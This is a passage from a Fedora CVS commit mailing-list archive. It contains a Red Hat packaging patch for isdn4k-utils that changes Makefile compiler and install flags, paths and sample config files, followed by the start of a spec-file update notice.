+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 ifeq ("@CONFIG_HISAXCTRL@","y")
--- isdn4k-utils-CVS-2003-09-23/icn/Makefile.in.redhat	2002-07-19 21:03:52.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/icn/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/icn
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= icnctrl
@@ -17,9 +17,9 @@
 DATADIR			= @CONFIG_DATADIR@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 CC				= @CC@
 COPTS			=
 
--- isdn4k-utils-CVS-2003-09-23/imon/Makefile.in.redhat	2002-07-19 21:03:53.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/imon/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -7,8 +7,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= imon
 MODULES			= imon.o
@@ -18,8 +18,8 @@
 SBINDIR			= @CONFIG_SBINDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/imontty/Makefile.redhat	2002-07-19 23:23:53.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/imontty/Makefile	2003-09-30 17:44:24.000000000 +0200
@@ -15,14 +15,14 @@
 	# Manual config standalone
 	#
 	CONFIG_SBINDRIR := /sbin
-	MAN8DIR         := /usr/man/man8
+	MAN8DIR         := /usr/share/man/man8
 endif
 
 INSTALL=install
-INSTALL_MAN=$(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_MAN=$(INSTALL) -m 0644
 MANPAGE=imontty.8
 
-CCFLAGS=-O2
+CCFLAGS=$(RPM_OPT_FLAGS) -I$(CONFIG_KERNELDIR)/include
 #CCFLAGS=-I$(ISDN_INCLUDE) -g
 
 # nothing to change behind this line
--- isdn4k-utils-CVS-2003-09-23/ipppstats/Makefile.in.redhat	2002-07-19 21:03:54.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/ipppstats/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -6,14 +6,14 @@
 MANDIR       = @CONFIG_MANDIR@
 CC           = @CC@
 INSTALL      = @INSTALL@
-INSTALL_SBIN = $(INSTALL) -m 755 -o 0 -g 0
-INSTALL_DATA = $(INSTALL) -m 644 -o 0 -g 0
-INSTALL_DIR  = $(INSTALL) -m 755 -o 0 -g 0 -d
+INSTALL_SBIN = $(INSTALL) -m 755
+INSTALL_DATA = $(INSTALL) -m 644
+INSTALL_DIR  = $(INSTALL) -m 755 -d
 
 PPPSTATSRCS  = ipppstats.c
 PPPSTATOBJS  = ipppstats.o
 
-CFLAGS       = -fomit-frame-pointer -O2
+CFLAGS       = $(RPM_OPT_FLAGS) -I at CONFIG_KERNELDIR@/include
 
 all: ipppstats
 
--- isdn4k-utils-CVS-2003-09-23/iprofd/Makefile.in.redhat	2002-07-19 23:23:53.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/iprofd/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= iprofd
 MODULES			= iprofd.o
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/isdnctrl/Makefile.in.redhat	2002-07-19 23:23:54.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnctrl/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			  = /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= @LIBS@ 
 PROGRAM			= isdnctrl
 MODULES			= isdnctrl.o
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 CC				= @CC@ -DVERSION=\"@I4LVERSION@\"
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
--- isdn4k-utils-CVS-2003-09-23/isdnlog/samples/callerid.conf.redhat	2000-09-08 10:55:51.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/samples/callerid.conf	2003-09-30 17:44:24.000000000 +0200
@@ -2,38 +2,31 @@
 # 
 # More information: See the isdnlog documentation
 
+#INTERFACE = ippp0      # Isdn network interface. This information  is  required
+                        # with the "-hx" / hangup="value" option.
+
+
 [MSN]
 NUMBER = 4711
 ALIAS  = Phone
 SI     = 1
 ZONE   = 1
-START = {
-  [FLAG]
-  FLAGS = I|O|R|C|B|A|E|H
-  PROGRAM = /bin/myprog \$1 \$2 \$3 Phone
-}
+#START = {
+#  [FLAG]
+#  FLAGS = I|O|R|C|B|A|E|H
+#  PROGRAM = /bin/myprog \$1 \$2 \$3 Phone
+#}
 
 [MSN]
 NUMBER = 4711
 ALIAS  = HDLC
 SI     = 7
 ZONE   = 1
-START = {
-  [FLAG]
-  FLAGS = I|O|R|C|B|A|E|
-  PROGRAM = /bin/myprog \$1 \$2 \$3 HDLC @/home/user1/parameter
-}
-
-[MSN]
-NUMBER = 4712
-ALIAS  = Modem
-SI     = 1
-ZONE   = 1
-START = {
-  [FLAG]
-  FLAGS = I|O|R|C|B|A|E|H
-  PROGRAM = /bin/myprog \$1 \$2 \$3 Modem
-}
+#START = {
+#  [FLAG]
+#  FLAGS = I|O|R|C|B|A|E|
+#  PROGRAM = /bin/myprog \$1 \$2 \$3 HDLC @/home/user1/parameter
+#}
 
 [NUMBER]
 NUMBER = 01910
--- isdn4k-utils-CVS-2003-09-23/isdnlog/tools/cdb/Makefile.in.redhat	2000-08-15 17:16:23.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/tools/cdb/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -20,7 +20,7 @@
 BINDIR:=$(DESTDIR)@prefix@/bin
 INCDIR:=$(DESTDIR)@prefix@/include
 
-CFLAGS:=-Wall -O2
+CFLAGS:=-Wall $(RPM_OPT_FLAGS)
 
 all: depend $(FILES)
 
@@ -46,7 +46,7 @@
 	install -d -m0755 $(MAN1DIR) $(MAN3DIR) $(LIBDIR) $(BINDIR) \
 		$(INCDIR)
 
-install:
+install: install-dirs
 	install -m0755 $(BINS) $(BINDIR)
 	install -m0644 $(MAN1) $(MAN1DIR)
 	install -m0644 $(MAN3) $(MAN3DIR)
--- isdn4k-utils-CVS-2003-09-23/isdnlog/tools/dest/Makefile.in.redhat	2003-07-25 23:23:15.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/tools/dest/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -6,7 +6,7 @@
 -include ../../../.config
 BZIP2			= @BZIP2@
 SHELL			= /bin/sh
-CFLAGS			= -Wall -g
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
 INCLUDES		=
 LDFLAGS			= @DBMLIB@
 export DBEXT		= @DBEXT@
@@ -20,9 +20,9 @@
 SBINDIR			= @CONFIG_SBINDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM		= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_DATA		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM		= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
+INSTALL_DATA		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 DATADIR			= @datadir@
--- isdn4k-utils-CVS-2003-09-23/isdnlog/tools/zone/Makefile.in.redhat	2003-03-11 14:08:00.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/tools/zone/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,7 +5,7 @@
 #
 BZIP2			= @BZIP2@
 SHELL			= /bin/sh
-CFLAGS			= -Wall -g
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
 INCLUDES		=
 LDFLAGS			= @DBMLIB@
 CDBEXTRALIBS		= @CDBEXTRALIBS@
@@ -20,8 +20,8 @@
 SBINDIR			= @CONFIG_SBINDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM		= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM		= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 #CC			= @CC@ -V2.7.2.3
--- isdn4k-utils-CVS-2003-09-23/isdnlog/Makefile.in.redhat	2003-08-26 21:46:11.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -1542,10 +1542,10 @@
 # autoconf isdnlog specific stuff
 #
 INSTALL			:= @INSTALL@
-INSTALL_DIR		:= $(INSTALL) -m 0755 -o 0 -g 0 -d
-INSTALL_SBIN		:= $(INSTALL) -m 0700 -o 0 -g 0
-INSTALL_BIN		:= $(INSTALL) -m 0755 -o 0 -g 0
-INSTALL_DATA		:= $(INSTALL) -m 0644 -o 0 -g 0
+INSTALL_DIR		:= $(INSTALL) -m 0755 -d
+INSTALL_SBIN		:= $(INSTALL) -m 0700
+INSTALL_BIN		:= $(INSTALL) -m 0755
+INSTALL_DATA		:= $(INSTALL) -m 0644
 
 BZIP2                   := @BZIP2@
 BUNZIP2                 := $(BZIP2) -f -d
@@ -1600,9 +1600,9 @@
 SUBDIRS     += $(LIBISDNDIR)
 endif
 
-# export CFLAGS  = -Wall -pipe -O6 -fomit-frame-pointer -fforce-mem -fforce-addr -funroll-loops -fstrength-reduce
+# export CFLAGS  = -Wall -pipe -frame-pointer -fforce-mem -fforce-addr -funroll-loops -fstrength-reduce
 
-export CFLAGS  = -Wall -pipe
+export CFLAGS  = -Wall $(RPM_OPT_FLAGS)
 ifndef _CC
 export _CC  = gcc
 endif
--- isdn4k-utils-CVS-2003-09-23/lib/Makefile.in.redhat	1999-12-12 18:22:36.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/lib/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -11,7 +11,7 @@
 	# Install as root with numeric Id's, since these are the
 	# only ones that _really_ exist on _every_ system.
 	#
-	INSTALLOPTS += INSTALL= install -o 0 -g 0 -m 644
+	INSTALLOPTS += INSTALL= install -m 644
 endif
 
 all: .depend
--- isdn4k-utils-CVS-2003-09-23/loop/Makefile.in.redhat	2002-07-19 21:03:56.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/loop/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,16 +5,16 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/loopctrl
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= loopctrl
 MODULES			= loopctrl.o
 MANPAGE			= loopctrl.8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 ifeq (../.config,$(wildcard ../.config))
--- isdn4k-utils-CVS-2003-09-23/pcbit/Makefile.in.redhat	2002-07-19 21:03:57.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/pcbit/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -Wstrict-prototypes -O2 -g
-INCLUDES		= -I. -DDEBUG 
+CFLAGS			= -Wall -Wstrict-prototypes $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -DDEBUG -I at CONFIG_KERNELDIR@/drivers/isdn/pcbit
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= pcbitctl
 MODULES			= pcbitctl.o convhexbin.o
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM		= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM		= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/rcapid/Makefile.am.redhat	2002-07-19 23:23:54.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/rcapid/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in comperr
 
 INCLUDES = -I../capi20 $(all_includes)
-CFLAGS = -Wall -O2
+CFLAGS = -Wall $(RPM_OPT_FLAGS)
 LDFLAGS = -L../capi20/.libs -L../capi20 $(all_libraries)
 LDADD = -lcapi20
 
--- isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxd.conf.example.redhat	1997-04-28 18:51:29.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxd.conf.example	2003-09-30 17:44:24.000000000 +0200
@@ -5,7 +5,7 @@
 # login (server startup) time. If access is 'yes' the host can login
 # and count messages without special access.
 
-L:localhost:Y
+#L:localhost:Y
 L:*:N
 
 # Full access list
@@ -13,7 +13,7 @@
 # All hosts in the full access list (begins with 'A') are checked if the
 # server gets the 'login' command.
 
-A:localhost:RW:michael:xxx:/var/spool/vbox/michael:incoming
-A:localhost:RW:nicole:xxx:/var/spool/vbox/nicole:incoming
+#A:localhost:RW:michael:xxx:/var/spool/vbox/michael:incoming
+#A:localhost:RW:nicole:xxx:/var/spool/vbox/nicole:incoming
 
 A:*:!:!:!:!:!
--- isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxgetty.conf.example.redhat	1997-10-22 22:46:58.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxgetty.conf.example	2003-09-30 17:44:24.000000000 +0200
@@ -20,18 +20,18 @@
 
 # Settings for port ttyI6
 
-port /dev/ttyI6
-  modeminit		ATZ&B512&E7830022
-  user			nicole
-  group			users
-  spooldir		/var/spool/vbox/nicole
+#port /dev/ttyI6
+#  modeminit		ATZ&B512&E7830022
+#  user			nicole
+#  group			users
+#  spooldir		/var/spool/vbox/nicole
 
 
 # Settings for port ttyI7
 
-port /dev/ttyI7
-  modeminit		ATZ&B512&E7850413
-  user			michael
-  group			users
-  spooldir		/var/spool/vbox/michael
+#port /dev/ttyI7
+#  modeminit		ATZ&B512&E7850413
+#  user			michael
+#  group			users
+#  spooldir		/var/spool/vbox/michael
 
--- isdn4k-utils-CVS-2003-09-23/xisdnload/Imakefile.redhat	1998-03-08 19:54:01.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/xisdnload/Imakefile	2003-09-30 17:44:24.000000000 +0200
@@ -21,7 +21,7 @@
            OBJS = xisdnload.o
  OSMAJORVERSION = OSMajorVersion
  OSMINORVERSION = OSMinorVersion
-      DEFINES = -DOSMAJORVERSION=$(OSMAJORVERSION) -DOSMINORVERSION=$(OSMINORVERSION) -DREGEX_NUMBER
+      DEFINES = -D_GNU_SOURCE -DOSMAJORVERSION=$(OSMAJORVERSION) -DOSMINORVERSION=$(OSMINORVERSION) -DREGEX_NUMBER
 
 AllTarget(xisdnload)
 NormalProgramTarget(xisdnload,$(OBJS),$(DEPLIBS),$(LOCAL_LIBRARIES),NullParameter)
--- isdn4k-utils-CVS-2003-09-23/.config.rpm.redhat	1998-11-23 13:12:04.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/.config.rpm	2003-09-30 17:59:55.000000000 +0200
@@ -5,16 +5,16 @@
 #
 # Code maturity level options
 #
-CONFIG_EXPERIMENTAL=y
+# CONFIG_EXPERIMENTAL is not set
 
 #
 # General configuration
 #
 CONFIG_BUILDX11=y
-CONFIG_KERNELDIR='/usr/src/linux'
+CONFIG_KERNELDIR='/usr/src/linux-2.4'
 CONFIG_BINDIR='/usr/bin'
-CONFIG_SBINDIR='/sbin'
-CONFIG_MANDIR='/usr/man'
+CONFIG_SBINDIR='/usr/sbin'
+CONFIG_MANDIR='/usr/share/man'
 CONFIG_RUNDIR='/var/run'
 CONFIG_LOCKDIR='/var/lock'
 CONFIG_LOCKFILE='LCK..'
@@ -23,11 +23,9 @@
 CONFIG_CALLERIDFILE='callerid.conf'
 CONFIG_USERCONFFILE='~/.isdn'
 CONFIG_COUNTRYCODE='49'
-CONFIG_AREACODE=''
+CONFIG_AREACODE='9999'
 CONFIG_COUNTRY_PREFIX='+'
 CONFIG_AREA_PREFIX='0'
-CONFIG_DATADIR='/usr/lib/isdn'
-CONFIG_LIB_AREACODE=y
 
 #
 # Runtime configuration tools
@@ -36,18 +34,20 @@
 CONFIG_ISDNCTRL_CONF=y
 CONFIG_ISDNCTRL_TIMRU=y
 CONFIG_IPROFD=y
+#CONFIG_DIVERTCTRL=y
 
 #
 # Card configuration tools
 #
-# CONFIG_TELESCTRL is not set
+CONFIG_TELESCTRL=y
 CONFIG_HISAXCTRL=y
 CONFIG_ICNCTRL=y
 # CONFIG_ICNCTRL_DEBUG is not set
 CONFIG_PCBITCTL=y
 CONFIG_AVMCAPICTRL=y
+#CONFIG_EICONCTRL=y
 CONFIG_LOOPCTRL=y
-CONFIG_LOOPCTRL_LOOPDIR='/usr/src/linux/drivers/isdn/isdnloop'
+CONFIG_LOOPCTRL_LOOPDIR='/usr/src/linux-2.4/drivers/isdn/isdnloop'
 # CONFIG_LOOPCTRL_DEBUG is not set
 
 #
@@ -64,14 +64,20 @@
 CONFIG_ISDNLOG_USERFILE='isdnlog.users'
 CONFIG_ISDNLOG_CHARGEFILE='charge.dat'
 CONFIG_ISDNLOG_LOGFILE='/var/log/isdn.log'
-CONFIG_ISDNLOG_RELOADCMD='reload'
-CONFIG_ISDNLOG_STOPCMD='stop'
+CONFIG_ISDNLOG_RELOADCMD='/etc/rc.d/init.d/isdn restart'
+CONFIG_ISDNLOG_STOPCMD='/etc/rc.d/init.d/isdn stop'
 CONFIG_ISDNLOG_REBOOTCMD='/sbin/reboot'
 CONFIG_ISDNLOG_OLDI4LCONFDIR='/etc/isdnlog'
 CONFIG_ISDNLOG_OLDI4LCONFFILE='isdnlog.conf'
 # CONFIG_ISDNLOG_POSTGRES is not set
 # CONFIG_ISDNLOG_MYSQLDB is not set
+# CONFIG_ISDNLOG_ORACLE is not set
 CONFIG_ISDN_LOG_DE=y
+CONFIG_ISDN_LOG_CC_DE=y
+CONFIG_ISDN_LOG_DEST_DE=y
+# CONFIG_ISDN_LOG_DEST_AT is not set
+# CONFIG_ISDN_LOG_DEST_NL is not set
+# CONFIG_ISDN_LOG_DEST_CH is not set
 CONFIG_IPPPSTATS=y
 CONFIG_XISDNLOAD=y
 CONFIG_XMONISDN=y
@@ -79,8 +85,8 @@
 #
 # Options for xmonisdn
 #
-CONFIG_XMONISDN_UPCMD='/sbin/netup'
-CONFIG_XMONISDN_DOWNCMD='/sbin/netdown'
+CONFIG_XMONISDN_UPCMD='/sbin/ifup'
+CONFIG_XMONISDN_DOWNCMD='/sbin/ifdown'
 
 #
 # Applications
@@ -94,23 +100,22 @@
 VBOX_LOGDIR='/var/log/vbox'
 VBOX_PIDDIR='/var/run'
 VBOX_LOCKDIR='/var/lock'
-VBOX_DOCDIR='/usr/doc/vbox'
-VBOX_TCL='tcl8.0'
+VBOX_DOCDIR='/usr/share/doc/vbox'
+VBOX_TCL='tcl8.5'
+# VBOX_SUSPEND_ID is not set
 CONFIG_IPPPD=y
 
 #
 # Options for ipppd
 #
-CONFIG_IPPPD_MSCHAP=y
+# CONFIG_IPPPD_MSCHAP is not set
+CONFIG_IPPP_FILTER=y
 # CONFIG_IPPPD_RADIUS is not set
 # CONFIG_RADIUS_WTMP_LOGGING is not set
 RADIUS_CLIENT_CONFIG_FILE=''
 CONFIG_CAPIFAX=y
 CONFIG_RCAPID=y
 
-#
-# Documentation
-#
-CONFIG_GENMAN=y
-CONFIG_FAQ=y
-CONFIG_FAQDIR='/usr/doc/faq/isdn4linux'
+# CAPI plugins
+CONFIG_PPPDCAPIPLUGIN=y
+
--- isdn4k-utils-CVS-2003-09-23/ipppd/ccp.c.redhat	2000-11-12 17:06:42.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/ipppd/ccp.c	2004-01-20 19:14:07.000000000 +0100
@@ -41,7 +41,7 @@
 
 #include "compressions.h"
 
-#if 0
+#if HAVE_LZSCOMP_H
 #include <linux/isdn_lzscomp.h>
 #else
 #include "../ipppcomp/isdn_lzscomp.h"
--- isdn4k-utils-CVS-2005-02-16/ipppd/Makefile.in.redhat	2004-08-30 16:56:36.000000000 +0200
+++ isdn4k-utils-CVS-2005-02-16/ipppd/Makefile.in	2005-02-16 18:42:54.119955183 +0100
@@ -15,10 +15,10 @@
 MANDIR        := @CONFIG_MANDIR@
 CC            := @CC@
 INSTALL       := @INSTALL@
-INSTALL_DIR   := $(INSTALL) -m 0755 -o 0 -g 0 -d
-INSTALL_SBIN  := $(INSTALL) -m 0700 -o 0 -g 0
-INSTALL_BIN   := $(INSTALL) -m 0755 -o 0 -g 0
-INSTALL_DATA  := $(INSTALL) -m 0644 -o 0 -g 0
+INSTALL_DIR   := $(INSTALL) -m 0755 -d
+INSTALL_SBIN  := $(INSTALL) -m 0700 
+INSTALL_BIN   := $(INSTALL) -m 0755
+INSTALL_DATA  := $(INSTALL) -m 0644
 RADIUS_CLIENT_CONFIG_FILE := @RADIUS_CLIENT_CONFIG_FILE@
 
 ifeq (@CONFIG_IPPPD_MSCHAP@,y)
@@ -73,7 +73,7 @@
 
 DEBUG_FLAGS   = @CONFIG_IPPPD_DEBUGFLAGS@
 COMPILE_FLAGS = @CFLAGS@
-CFLAGS        = -O2 -fomit-frame-pointer -Wall
+CFLAGS        = $(RPM_OPT_FLAGS)
 VER           = 2.2.0
 
 # it's a hack
--- isdn4k-utils-CVS-2005-02-16/isdnlog/tools/Makefile.cflags	2005-02-16 18:53:15.393382578 +0100
+++ isdn4k-utils-CVS-2005-02-16/isdnlog/tools/Makefile	2005-02-16 18:53:51.914999474 +0100
@@ -1,4 +1,4 @@
-CC=gcc -m486 -O2 -Wall -DSTANDALONE -I. -I.. -I../isdnlog -I../connect -I../../lib
+CC=gcc $(RPM_OPT_FLAGS) -DSTANDALONE -I. -I.. -I../isdnlog -I../connect -I../../lib
 #CC=gcc -m486 -O2 -g -pg -Wall -DSTANDALONE -I. -I.. -I../isdnlog
 
 all: rate-at
--- isdn4k-utils-CVS-2005-02-16/lib/Makefile.cflags	2005-02-16 19:04:04.338731270 +0100
+++ isdn4k-utils-CVS-2005-02-16/lib/Makefile	2005-02-16 19:04:24.150811068 +0100
@@ -28,7 +28,7 @@
 # USER CONFIGURATION AREA
 ######################################################################
 
-CFLAGS      = -g -Wall -pipe #-O6
+CFLAGS      = $(RPM_OPT_FLAGS)
 DEFS        =
 ifndef _CC
 export _CC  = gcc
diff -up isdn4k-utils-CVS-2009-10-20/Makefile.me isdn4k-utils-CVS-2009-10-20/Makefile
--- isdn4k-utils-CVS-2009-10-20/Makefile.me	2009-10-20 12:28:37.000000000 +0200
+++ isdn4k-utils-CVS-2009-10-20/Makefile	2009-10-20 12:29:14.000000000 +0200
@@ -18,8 +18,8 @@ LIBDIR:=/usr/lib
 # Following line is important for lib and isdnlog (sl).
 export ROOTDIR=$(shell pwd)
 
-ifeq (.config,$(wildcard .config))
-include .config
+ifeq (.config.h,$(wildcard .config.h))
+include .config.h
 do-it-all:      subtargets
 else
 CONFIGURATION = config
@@ -134,14 +134,8 @@ rootperm:
 
 install:
 	set -e; for i in `echo $(SUBDIRS)`; do $(MAKE) -C $$i install; done
-	@: || if [ -c $(DESTDIR)/dev/isdnctrl0 ] && ls -l $(DESTDIR)/dev/isdnctrl0 | egrep "[[:space:]]45,[[:space:]]+64[[:space:]]" > /dev/null; \
-	then \
-		/bin/echo -e '(some) ISDN devices already exist, not creating them.\nUse scripts/makedev.sh manually if necessary.'; \
-	else \
-		sh scripts/makedev.sh $(DESTDIR) ; \
-	fi
 
-uninstall: rootperm
+uninstall:
 	set -e; for i in `echo $(SUBDIRS)`; do $(MAKE) -C $$i uninstall; done
 
 #



From than at fedoraproject.org  Tue Oct 20 11:35:22 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 20 Oct 2009 11:35:22 +0000 (UTC)
Subject: rpms/isdn4k-utils/devel .cvsignore, 1.14, 1.15 isdn4k-utils.spec,
	1.81, 
	1.82 sources, 1.15, 1.16 isdn4k-utils-CVS-2004-11-18-lib64.patch,
	1.2, NONE isdn4k-utils-CVS-2006-02-13-cleanup.patch, 1.1,
	NONE isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch, 1.1,
	NONE isdn4k-utils-CVS-2006-07-20-redhat.patch, 1.2,
	NONE isdn4k-utils-CVS-2008-01-07-redhat.patch, 1.1,
	NONE isdn4k-utils-gcc3x.patch, 1.1, NONE
Message-ID: <20091020113522.F387B11C0081@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15545

Modified Files:
	.cvsignore isdn4k-utils.spec sources 
Removed Files:
	isdn4k-utils-CVS-2004-11-18-lib64.patch 
	isdn4k-utils-CVS-2006-02-13-cleanup.patch 
	isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch 
	isdn4k-utils-CVS-2006-07-20-redhat.patch 
	isdn4k-utils-CVS-2008-01-07-redhat.patch 
	isdn4k-utils-gcc3x.patch 
Log Message:
- add missing man pages
- add upstream fixes




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Jul 2006 14:54:56 -0000	1.14
+++ .cvsignore	20 Oct 2009 11:35:22 -0000	1.15
@@ -9,3 +9,5 @@ isdn4k-utils-CVS-2005-03-09.tar.bz2
 isdn4k-utils-CVS-2006-02-13.tar.bz2
 isdn4k-utils-ppp-2.4.4.tar.bz2
 isdn4k-utils-CVS-2006-07-20.tar.bz2
+isdn4k-utils-CVS-2009-10-20.tar.bz2
+capiinit.8


Index: isdn4k-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/devel/isdn4k-utils.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- isdn4k-utils.spec	25 Jul 2009 03:38:33 -0000	1.81
+++ isdn4k-utils.spec	20 Oct 2009 11:35:22 -0000	1.82
@@ -2,7 +2,7 @@
 
 %define app_defaults_dir %{_datadir}/X11/app-defaults
 
-%define interver CVS-2006-07-20
+%define interver CVS-2009-10-20
 %ifarch s390 s390x
